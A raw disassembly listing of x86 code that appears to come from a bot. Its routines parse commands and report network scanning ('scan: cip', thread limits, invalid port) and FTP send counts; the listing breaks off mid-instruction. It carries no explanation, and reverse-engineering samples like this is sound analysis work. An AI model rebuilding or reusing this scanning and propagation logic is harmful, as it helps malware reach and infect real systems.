= byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_4012BC test al, al jz short loc_4220AA loc_422068: ; CODE XREF: sub_422050+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4019AB mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401B7C ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_4012BC test al, al jnz short loc_422068 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_4220AA: ; CODE XREF: sub_422050+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_422050 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4220E0 proc near ; CODE XREF: sub_401212j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 20h call sub_4020BD sub_4220E0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_4220F5 mov edi, esi loc_4220F5: ; CODE XREF: ___:004220F1j push esi call sub_40110E mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_42210A mov edi, esi loc_42210A: ; CODE XREF: ___:00422106j push esi call sub_4010EB add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422130 proc near ; CODE XREF: sub_4021B7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4018E3 sub_422130 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422150 proc near ; CODE XREF: sub_40110Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_422150 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422170 proc near ; CODE XREF: sub_40108Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_422170 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422190 proc near ; CODE XREF: sub_4011A9j mov eax, ecx retn sub_422190 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4221B0 proc near ; CODE XREF: sub_401D75j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4018ED mov eax, esi pop esi retn 4 sub_4221B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4221E0 proc near ; CODE XREF: sub_401D48j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4221E0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422210 proc near ; CODE XREF: sub_401E3Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401A2D add esp, 8 retn 8 sub_422210 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422240 proc near ; CODE XREF: sub_401A1Ej var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4020B8 mov ecx, eax call sub_4010C8 mov esi, eax push esi call sub_40204F push esi mov ebx, eax call sub_401CF3 mov ecx, [eax] push ecx call sub_40204F mov edx, [ebx] push esi mov [eax], edx call sub_401CF3 push esi mov ebx, eax call sub_40204F mov eax, [eax] push eax call sub_401CF3 mov ecx, [ebx] push esi mov [eax], ecx call sub_4010F5 add esp, 1Ch mov ecx, edi push eax call sub_401631 push esi mov ecx, edi call sub_401947 sub_422240 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422300 proc near ; CODE XREF: sub_401CF3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_422300 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422320 proc near ; CODE XREF: sub_401DF2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_422320 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422350 proc near ; CODE XREF: sub_401546j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_422350 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422370 proc near ; CODE XREF: sub_4017E9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40201D add esp, 8 retn 8 sub_422370 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4223A0 proc near ; CODE XREF: sub_401519j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4223A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4223C0 proc near ; CODE XREF: sub_4010C8j mov eax, [ecx] retn sub_4223C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4223E0 proc near ; CODE XREF: sub_4020B8j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40107D mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4223E0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422410 proc near ; CODE XREF: sub_401B7Cj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4019AB mov ecx, eax call sub_4018E8 mov esi, eax push esi call sub_40110E push esi mov ebx, eax call sub_4010EB mov ecx, [eax] push ecx call sub_40110E mov edx, [ebx] push esi mov [eax], edx call sub_4010EB push esi mov ebx, eax call sub_40110E mov eax, [eax] push eax call sub_4010EB mov ecx, [ebx] push esi mov [eax], ecx call sub_40108C add esp, 1Ch mov ecx, edi push eax call sub_401E60 push esi mov ecx, edi call sub_4021B7 sub_422410 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4224D0 proc near ; CODE XREF: sub_4010EBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4224D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4224F0 proc near ; CODE XREF: sub_4020BDj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_4224F0 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422520 proc near ; CODE XREF: sub_4018E3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_422520 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422540 proc near ; CODE XREF: sub_4013DEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401ED3 add esp, 8 retn 8 sub_422540 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422570 proc near ; CODE XREF: sub_4018EDj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_422570 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422590 proc near ; CODE XREF: sub_4018E8j mov eax, [ecx] retn sub_422590 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4225B0 proc near ; CODE XREF: sub_4019ABj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40182A mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4225B0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4225E0 proc near ; CODE XREF: sub_401631j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401A78 pop ecx retn 4 sub_4225E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422600 proc near ; CODE XREF: sub_401E60j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401F9B pop ecx retn 4 sub_422600 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422620 proc near ; CODE XREF: sub_401A2Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_42263B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_42263B: ; CODE XREF: sub_422620+11j retn sub_422620 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422650 proc near ; CODE XREF: sub_40201Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_422650 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+10h+arg_0] push eax push 19h call sub_4011CC add esp, 8 mov [esp+10h+var_10], eax test eax, eax mov [esp+10h+var_4], 0 jz short loc_422691 mov ecx, [esp+10h+arg_4] push ecx mov ecx, eax call sub_401677 loc_422691: ; CODE XREF: sub_422650+33j mov ecx, [esp+10h+var_C] mov large fs:0, ecx add esp, 10h retn sub_422650 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4226E0 proc near ; CODE XREF: sub_401ED3j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_4226E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+10h+arg_0] push eax push 15h call sub_4011CC add esp, 8 mov [esp+10h+var_10], eax test eax, eax mov [esp+10h+var_4], 0 jz short loc_422721 mov ecx, [esp+10h+arg_4] push ecx mov ecx, eax call sub_4014C9 loc_422721: ; CODE XREF: sub_4226E0+33j mov ecx, [esp+10h+var_C] mov large fs:0, ecx add esp, 10h retn sub_4226E0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422750 proc near ; CODE XREF: sub_401A78j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push 0 call sub_4019BA retn sub_422750 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422770 proc near ; CODE XREF: sub_401F9Bj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push 0 mov eax, [ecx] call dword ptr [eax] retn sub_422770 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422790 proc near ; CODE XREF: sub_401677j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx push edi call sub_4014C9 mov eax, [edi+15h] pop edi mov [esi+15h], eax mov eax, esi pop esi retn 4 sub_422790 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4227C0 proc near ; CODE XREF: sub_4019BAj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A6E test [esp+4+arg_0], 1 jz short loc_4227D8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_4227D8: ; CODE XREF: sub_4227C0+Dj mov eax, esi pop esi retn 4 sub_4227C0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4227F0 proc near ; CODE XREF: sub_401AE1j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4227F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 10h push 9 push 3 push 4Fh push 16h push 4 lea eax, [esp+60h+var_3C] push 1 mov esi, ecx push eax mov dword_4D5FCB, offset aAsn ; "asn" call sub_4019B5 add esp, 24h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+8D008h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_4227F0 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 14h push 12h push 1 push 14h push 13h push 4Fh push 16h push 4 lea edx, [esp+2Ch] push 1 push edx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+8D036h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 0Eh push 1 push 3 lea ecx, [esp+2Ch] push 13h push ecx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017E4 lea edx, [esi+8D064h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 14h push 1 push 14h push 13h push 4Fh push 16h push 4 lea eax, [esp+2Ch] push 1 push eax call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 lea ecx, [esi+8D092h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 14h push 1 push 14h push 13h push 4Fh push 10h push 14h lea edx, [esp+44h] push 6 push edx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017E4 add esi, 8D0C0h push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422A40 proc near ; CODE XREF: sub_40138Ej var_78D = byte ptr -78Dh var_78C = dword ptr -78Ch var_788 = byte ptr -788h var_780 = dword ptr -780h var_770 = byte ptr -770h var_760 = byte ptr -760h var_6E0 = byte ptr -6E0h var_660 = dword ptr -660h var_65C = dword ptr -65Ch var_658 = dword ptr -658h var_654 = dword ptr -654h var_650 = dword ptr -650h var_644 = dword ptr -644h var_640 = dword ptr -640h var_638 = dword ptr -638h var_634 = dword ptr -634h var_630 = dword ptr -630h var_624 = byte ptr -624h var_60C = byte ptr -60Ch var_40C = byte ptr -40Ch var_20C = byte ptr -20Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_422A40 push eax mov large fs:0, esp sub esp, 784h push ebx push ebp push esi mov esi, [esp+79Ch+arg_0] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+8D008h] call sub_4014D3 push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_422B0A push 3 call sub_401483 add esp, 4 test eax, eax jle short loc_422ADD push 3 call sub_401D8E mov eax, dword_50BB90[eax*8] add esp, 4 push eax nop call near ptr 71AB3F41h push eax push offset aScanCipS ; "scan: cip (%s)" lea ecx, [esi+2Ah] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 18h mov al, 1 jmp loc_422E3B ; --------------------------------------------------------------------------- loc_422ADD: ; CODE XREF: sub_422A40+52j lea ecx, [esi+2Ah] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push offset aScanNotStarted ; "scan: not started" push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 mov al, 1 jmp loc_422E3B ; --------------------------------------------------------------------------- loc_422B0A: ; CODE XREF: sub_422A40+40j lea ecx, [ebp+8D0C0h] call sub_4014D3 push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_422BB0 mov edi, dword_4D63B0 push offset asc_443600 ; " " lea ecx, [esp+7A4h+var_788] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 0 call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+7A0h+var_788] mov ebx, eax mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 cmp edi, ebx jl loc_4231BD mov edx, dword_44768F push edi push edx push offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d" lea ecx, [esi+2Ah] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 1Ch mov al, 1 jmp loc_422E3B ; --------------------------------------------------------------------------- loc_422BB0: ; CODE XREF: sub_422A40+DFj lea ecx, [ebp+8D064h] call sub_4014D3 push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_422C30 push eax push 3 call sub_401D93 add esp, 8 test eax, eax jle short loc_422C05 push eax push offset aScanStoppedDTh ; "scan: stopped (%d threads)" lea ecx, [esi+2Ah] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h jmp loc_422E39 ; --------------------------------------------------------------------------- loc_422C05: ; CODE XREF: sub_422A40+194j lea ecx, [esi+2Ah] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aScanCouldnTSto ; "scan: couldn't stop" push ecx push edx mov ecx, offset byte_4D60B5 call sub_401118 jmp loc_422E39 ; --------------------------------------------------------------------------- loc_422C30: ; CODE XREF: sub_422A40+185j lea ecx, [ebp+8D036h] call sub_4014D3 push eax mov ecx, edi call sub_4012EE mov edi, dword_50FB08 test eax, eax jnz loc_422CDE push 3 call sub_401483 add esp, 4 mov ebx, eax lea eax, [esp+7A0h+var_788] mov ecx, esi push offset asc_443600 ; " " push 2 push eax call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 1 call sub_4017E4 push eax call edi ; atoi add eax, ebx add esp, 4 cmp eax, 1F4h lea ecx, [esp+7A0h+var_788] setnle [esp+7A0h+var_78D] mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 mov al, [esp+7A0h+var_78D] test al, al jz loc_422E56 push ebx push offset aScanTooManyThr ; "scan: too many threads (%s)" lea ecx, [esi+2Ah] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 18h loc_422CDE: ; CODE XREF: sub_422A40+20Bj lea ecx, [ebp+8D092h] call sub_4014D3 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_422E39 push offset asc_443600 ; " " lea eax, [esp+7A4h+var_624] push 1 push eax mov ecx, esi xor ebx, ebx call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 0Ah call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_624] mov edi, eax mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 mov eax, dword_444448 mov [esp+7A0h+var_78D], bl test eax, eax jz short loc_422D69 mov eax, offset dword_444448 loc_422D55: ; CODE XREF: sub_422A40+327j cmp [eax+8], edi jb short loc_422D5F mov [esp+7A0h+var_78D], 1 loc_422D5F: ; CODE XREF: sub_422A40+318j mov ecx, [eax+3Ch] add eax, 3Ch test ecx, ecx jnz short loc_422D55 loc_422D69: ; CODE XREF: sub_422A40+30Ej mov ebp, off_50FBF0 lea ecx, [esp+7A0h+var_60C] push offset aScanStats ; "scan: stats:" push ecx call ebp ; sub_5EE1E5 mov eax, dword_444448 add esp, 8 test eax, eax jz short loc_422DCF mov edi, offset dword_444450 loc_422D8F: ; CODE XREF: sub_422A40+38Dj mov eax, [edi] lea edx, [edi-26h] add ebx, eax push eax push edx lea eax, [esp+7A8h+var_40C] push offset aSD ; " %s: %d," push eax call ebp ; sub_5EE1E5 lea ecx, [esp+7B0h+var_40C] push 200h lea edx, [esp+7B4h+var_60C] push ecx push edx nop call near ptr 77C47920h mov eax, [edi+34h] add edi, 3Ch add esp, 1Ch test eax, eax jnz short loc_422D8F loc_422DCF: ; CODE XREF: sub_422A40+348j push ebx lea eax, [esp+7A4h+var_40C] push offset aTotalD ; " total: %d" push eax call ebp ; sub_5EE1E5 lea ecx, [esp+7ACh+var_40C] push 200h lea edx, [esp+7B0h+var_60C] push ecx push edx call near ptr 77C47920h nop mov al, [esp+7B8h+var_78D] add esp, 18h test al, al jz short loc_422E29 xor eax, eax lea ecx, [esp+7A0h+var_60C] mov al, [esi+94h] push eax push ecx lea ecx, [esi+2Ah] call sub_4014D3 push eax push 0 call sub_401523 add esp, 10h loc_422E29: ; CODE XREF: sub_422A40+3C3j lea edx, [esp+7A0h+var_60C] push edx call sub_4010D2 add esp, 4 loc_422E39: ; CODE XREF: sub_422A40+1C0j ; sub_422A40+1EBj ... xor al, al loc_422E3B: ; CODE XREF: sub_422A40+98j ; sub_422A40+C5j ... mov ecx, [esp+7A0h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 790h retn 4 ; --------------------------------------------------------------------------- loc_422E56: ; CODE XREF: sub_422A40+26Ej push offset asc_443600 ; " " lea eax, [esp+7A4h+var_788] push 1 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 2 call sub_4017E4 push eax call edi ; atoi or ebx, 0FFFFFFFFh add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_65C], eax mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+7A4h+var_788] push 2 push ecx mov ecx, esi call sub_4016AE mov ebp, 3 mov ecx, eax mov [esp+7A0h+var_4], ebp call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_644], eax mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_443600 ; " " lea edx, [esp+7A4h+var_788] push ebp push edx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 4 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_658], eax mov [esp+7A0h+var_4], ebx call sub_401226 mov eax, [esp+7A0h+var_658] cmp eax, ebp jnb short loc_422F33 mov [esp+7A0h+var_658], ebp jmp short loc_422F43 ; --------------------------------------------------------------------------- loc_422F33: ; CODE XREF: sub_422A40+4E8j cmp eax, 3Ch jbe short loc_422F43 mov [esp+7A0h+var_658], 3Ch loc_422F43: ; CODE XREF: sub_422A40+4F1j ; sub_422A40+4F6j push offset asc_443600 ; " " lea eax, [esp+7A4h+var_788] push 4 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 5 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_654], eax mov [esp+7A0h+var_4], ebx call sub_401226 mov ecx, [esp+7A0h+var_654] mov eax, 960h cmp ecx, eax jbe short loc_422F9C mov [esp+7A0h+var_654], eax loc_422F9C: ; CODE XREF: sub_422A40+553j mov eax, dword_444448 mov [esp+7A0h+var_640], ebx test eax, eax mov [esp+7A0h+var_78C], 0 jz loc_42306C mov ebp, offset dword_444448 jmp short loc_422FC2 ; --------------------------------------------------------------------------- loc_422FBF: ; CODE XREF: sub_422A40+602j or ebx, 0FFFFFFFFh loc_422FC2: ; CODE XREF: sub_422A40+57Dj push offset asc_443600 ; " " lea ecx, [esp+7A4h+var_788] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 6 call sub_4017E4 mov edi, eax lea ecx, [ebp-28h] loc_422FEC: ; CODE XREF: sub_422A40+5CAj mov dl, [ecx] mov al, dl cmp dl, [edi] jnz short loc_423010 test al, al jz short loc_42300C mov dl, [ecx+1] mov al, dl cmp dl, [edi+1] jnz short loc_423010 add ecx, 2 add edi, 2 test al, al jnz short loc_422FEC loc_42300C: ; CODE XREF: sub_422A40+5B6j xor eax, eax jmp short loc_423014 ; --------------------------------------------------------------------------- loc_423010: ; CODE XREF: sub_422A40+5B2j ; sub_422A40+5C0j sbb eax, eax sbb eax, ebx loc_423014: ; CODE XREF: sub_422A40+5CEj test eax, eax lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_4], 0FFFFFFFFh setz bl call sub_401226 test bl, bl jnz short loc_42304A mov edx, [esp+7A0h+var_78C] mov eax, [ebp+3Ch] add ebp, 3Ch inc edx test eax, eax mov [esp+7A0h+var_78C], edx jnz loc_422FBF jmp short loc_423069 ; --------------------------------------------------------------------------- loc_42304A: ; CODE XREF: sub_422A40+5EFj mov ecx, [esp+7A0h+var_78C] mov [esp+7A0h+var_640], ecx lea eax, [ecx+ecx*2] lea eax, [eax+eax*4] mov edx, dword_444448[eax*4] mov [esp+7A0h+var_65C], edx loc_423069: ; CODE XREF: sub_422A40+608j or ebx, 0FFFFFFFFh loc_42306C: ; CODE XREF: sub_422A40+572j mov eax, [esp+7A0h+var_65C] test eax, eax jnz short loc_42308A lea ecx, [esi+2Ah] call sub_4014D3 push eax push offset aScanInvalidPor ; "scan: invalid port" jmp loc_4231A5 ; --------------------------------------------------------------------------- loc_42308A: ; CODE XREF: sub_422A40+635j push offset asc_443600 ; " " lea edx, [esp+7A4h+var_788] push 5 push edx mov ecx, esi call sub_4016AE push offset dword_443DD4 mov ecx, eax mov [esp+7A4h+var_4], 7 call sub_4013E3 lea ecx, [esp+7A0h+var_788] mov edi, eax mov [esp+7A0h+var_4], ebx call sub_401226 test edi, edi jz loc_423167 push offset asc_443600 ; " " lea eax, [esp+7A4h+var_788] push 5 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 8 call sub_4017E4 push eax lea ecx, [esp+7A4h+var_770] push 10h push ecx nop call near ptr 77C3FA76h add esp, 0Ch lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_443600 ; " " lea edx, [esp+7A4h+var_788] push 5 push edx mov ecx, esi call sub_4016AE push 78h mov ecx, eax mov [esp+7A4h+var_4], 9 call sub_4017E4 push eax nop call near ptr 77C47660h add esp, 8 lea ecx, [esp+7A0h+var_788] neg eax sbb eax, eax mov [esp+7A0h+var_4], ebx neg eax mov [esp+7A0h+var_630], eax call sub_401226 jmp loc_423296 ; --------------------------------------------------------------------------- loc_423167: ; CODE XREF: sub_422A40+688j push offset dword_444584 mov ecx, esi call sub_4013E3 test eax, eax jnz short loc_4231C4 push offset off_444580 mov ecx, esi call sub_4013E3 test eax, eax jnz short loc_4231C4 push offset off_44457C mov ecx, esi call sub_4013E3 test eax, eax jnz 